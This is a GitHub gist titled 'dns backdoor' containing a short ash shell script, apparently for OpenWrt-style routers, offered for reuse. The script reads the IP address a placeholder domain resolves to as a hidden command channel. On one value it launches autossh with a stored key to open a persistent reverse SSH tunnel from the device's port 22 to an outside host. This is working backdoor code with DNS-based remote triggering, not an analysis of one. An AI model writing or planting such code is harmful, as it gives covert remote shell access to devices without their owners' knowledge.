Skip to content

Instantly share code, notes, and snippets.

@aojea
Last active August 29, 2015 14:16
Show Gist options
  • Save aojea/72f9b60c90841ab10bf7 to your computer and use it in GitHub Desktop.
Save aojea/72f9b60c90841ab10bf7 to your computer and use it in GitHub Desktop.
dns backdoor
#!/bin/ash
TASK=`ping -c 1 your.domain.here | grep PING | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}'`
case $TASK in
127.0.0.1)
#Your code here
Message="Ok1"
;;
127.0.0.2)
#Your code here
Message="Ok2"
;;
127.0.0.3)
/usr/sbin/autossh -f -M 0 -i /etc/dropbear/id_rsa -N -T -R 1001:127.0.0.1:22 user@your.sshhost.here
Message="Ok3"
;;
*)
Message="Non matching"
;;
esac
echo $Message
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment